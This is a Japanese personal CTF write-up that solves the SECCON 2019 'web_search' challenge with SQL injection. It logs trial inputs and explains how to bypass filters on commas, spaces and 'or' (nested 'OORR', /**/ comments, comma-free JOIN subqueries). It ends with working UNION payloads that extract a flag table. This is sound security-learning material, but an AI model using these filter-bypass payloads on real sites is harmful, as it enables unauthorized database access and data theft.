これはなに
- CTFの解法を主にまとめていきます.
- 最初は一つの記事として作りますが,後に分離させるかも
- 大体自分で見返す用
- なんとなくジャンル的な分類でまとめては行きたい
- 開催された大会ごとにまとめるということはしませんが,見出しの後ろにつけます
主な章立て
## ジャンル
### 問題名 (出題元) : XSSとかSQLiとかCodeInjectionとか...
解けたか解けなかったとか,所感とか書く
#### 問題と試行
ここに問題と,その試行の記録などを書く
#### 解法
ここに解法,まとめを書く
#### 知見
ここに解くことによって得た知見を書く
本体
Injection
web_search (SECCON2019) : SQLi
- 解けなかった(2019/10/22)
- 基礎知識の不足が問題
問題と試行
-
SQLiだろうなという印象があったのでとりあえず
';--とかやってみた,エラー. -
次に
';#でやってみる,普通の結果が返ってきた -> MySQLかな -
元のSQLは
SELECT rfc, desc from rfc_table WHERE rfc LIKE 'RFC%' AND desc LIKE '%ココ%';かなといった所感 -
' or 1;#とかやってみる. ->';#になって?????? << ここでお手上げ
解法
- SQLiである.またMySQLで動いている.
- サーバ側で
,,,orがエスケープされている - ORだけ再帰的にエスケープされていない.
- これにより
OORRとすることでORをバイパスできる
- これにより
-
,,なしでSQLを組み立てる必要があった.- スペースに関しては,
/**/でスペースに置き換わるようだ, -
,が使えないことに関しては以下の方法で解決できるようだ,SELECT * (SELECT 1)a join (SELECT 2)b join ...- joinしていって,お目当ての個数になるまでつなげる.
- スペースに関しては,
- まず全件表示
' OR(1)-> flagがflagテーブルにあることを教えてくれる - flagテーブルの結果をunionで引っ付ける
- RFC番号とその説明なので,ID含めて3つでいいかな -> 3つ枠を用意しておく
hoge' UNION SELECT * FROM (SELECT * FROM flag)a JOIN (SELECT 1)b JOIN (SELECT 2)c;#- 上記のスペースを
/**/に置き換える.
結論
payload.sql
'or(1);#
hoge'/**/UNION/**/SELECT*FROM(SELECT*FROM/**/flag)a/**/join(SELECT/**/1)b/**/join(SELECT/**/2)c;#`
知見
-
/**/はスペースに置き換えられる -
SELECT * FROM (SELECT 1)a JOIN(SELECT 2)b JOIN...とカンマなしで取得 - とりあえず色々試してみる.
ORとか特に動かしやすい物を,エスケープだけならSQLがエラーでもわかる -
OR(1)という記法もある
